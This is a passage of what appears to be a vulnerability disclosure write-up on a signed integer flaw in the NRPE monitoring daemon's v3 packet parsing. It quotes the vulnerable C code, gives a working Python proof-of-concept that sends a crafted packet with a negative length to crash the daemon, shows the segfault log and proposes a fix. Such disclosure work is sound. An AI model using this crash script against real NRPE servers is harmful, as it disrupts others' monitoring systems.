NRPE allows currently two different packet formats: v2 and v3. The v3 packet format is defined like this:<\/span><\/p>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]typedef struct _v3_packet {
\nint16_t packet_version;
\nint16_t packet_type;
\nu_int32_t crc32_value;
\nint16_t result_code;
\nint16_t alignment;
\nint32_t buffer_length;
\nchar buffer[1];
\n} v3_packet;<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
Where the member buffer<\/strong> is only a placeholder and gets replaced with the actual payload during processing. The member buffer_length<\/strong>\u00a0describes the corresponding length of the real payload buffer.<\/p>\nNotice that buffer_length<\/strong> is of type int32_t<\/strong>, which is a signed integer type. This allows NRPE v3 packets to contain a negative buffer length and for our POC we craft a packet with a buffer length of -19<\/strong>.<\/p>\nWhen the NRPE daemon receives a packet, the read_packet<\/strong>\u00a0function is called. This function reads the first structure members and finally allocates memory for the NRPE v3 packet. The interesting part of the code looks like this:<\/p>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/nrpe.c lines: 2039 to 2044
\nbuffer_size = ntohl(buffer_size);
\npkt_size += buffer_size;
\nif ((*v3_pkt = calloc(1, pkt_size)) == NULL) {
\nlogit(LOG_ERR, \"Error: (use_ssl == false): Could not allocate memory for packet\");
\nreturn -1;
\n}<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n
So the daemon fetches the <\/span>buffer_size<\/strong> from our crafted packet (which is -19) and adds it to the <\/span>pkt_size<\/strong>, which is<\/span>
previously initialized like this:<\/span><\/p>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/nrpe.c line: 2023
\nint32_t pkt_size = sizeof(v3_packet) - 1; \/\/ results in: pkt_size = 19<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n
Obviously, the resulting pkt_size<\/strong> is zero and lead to a call to calloc(1, 0)<\/strong>, a zero memory allocation.<\/p>\nA zero memory allocation is already a bad thing, since the C specification does not define a default behavior for this case
and the behavior of the program becomes implementation dependent. However, most implementation will return a pointer to
allocated memory of the minimal heap chunk size, which is 16 bytes for 32 bit and 32 byte for 64 bit operating systems.
This is good news for NRPE, since the following actions will not lead to a heap overflow:<\/p>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/nrpe.c line: 2046 to 2048
\nmemcpy(*v3_pkt, v2_pkt, common_size);
\n(*v3_pkt)->buffer_length = htonl(buffer_size);
\nbuff_ptr = (*v3_pkt)->buffer;<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n
The <\/span>common_size<\/strong>\u00a0is only 10 and therefore only ten attacker controlled bytes will be copied to the allocated memory, which does<\/span>
not trigger a heap overflow. However, after these operations, the following function call is made:<\/span><\/p>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/nrpe.c line: 2051 to 2052
\nbytes_to_recv = buffer_size;
\nrc = recvall(sock, buff_ptr, &bytes_to_recv, socket_timeout);<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n
This function call is responsible for receiving the rest of the NRPE v3 packet (the buffer) over the network. As one can see, it uses
buff_ptr<\/strong> (the pointer to our calloc(1,0) allocation) and bytes_to_recv<\/strong>, which is the previously transmitted buffer size of -19<\/strong>.
This function call is potentially dangerous, since inside a call to functions like recv<\/strong>, a value of -19<\/strong>\u00a0will be converted to an
unsigned integer, and therefore a large amount of network traffic could be read and copied into the small allocated buffer.<\/p>\nHowever, in the case of NRPE it will only cause the current thread to crash. The reason is, that recvall<\/strong>\u00a0does make the following call
before fetching data over the network:<\/p>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/utils.c line: 410 to 418
\nint recvall(int s, char *buf, int *len, int timeout) {
\n[...]
\nbzero(buf, *len);
\n[...]<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n
The function bzero<\/strong> is called with our small allocated buffer and the length of -19<\/strong>. Also for bzero<\/strong>, the value of -19<\/strong>\u00a0is converted
to an unsigned integer and becomes a huge number. Therefore, bzero<\/strong>\u00a0will overflow the heap and try to zero out unmapped virtual memory
segments. This crashes the current thread.<\/p>\nThe following python script can produce such a crash:<\/p>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] #!\/usr\/bin\/env python3
\nimport sys
\nimport struct
\nimport socket<\/p>\n
HOST = '127.0.0.1'
\nPORT = 5666<\/p>\n
buf = b''
\nbuf += struct.pack(\">h\", 3)
\nbuf += struct.pack(\">h\", 1)
\nbuf += struct.pack(\">i\", 0)
\nbuf += struct.pack(\">h\", 0)
\nbuf += struct.pack(\">h\", 0)
\nbuf += struct.pack(\">I\", 4294967280)
\nbuf += b'junk'<\/p>\n
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
\ns.connect((HOST, PORT))
\ns.sendall(buf)
\ndata = s.recv(1024)<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n
After execution, one can check the syslog and will see the following segfault:<\/span><\/p>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"||27px||false|false\" hover_enabled=\"0\" sticky_enabled=\"0\"]<\/p>\n
[1848.124323] nrpe[2212]: segfault at 55603f7cb000 ip 00007f4d56b8c7f7 sp 00007fff8e7af748 error 6 in libc-2.29.so[7f4d56a52000+147000]<\/p>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
\n
\n
Fix<\/h3>\n
The buffer_length should be transmitted as an unsigned integer. Furthermore, one needs to implement checks to prevent an inter overflow attack.<\/span><\/p>\n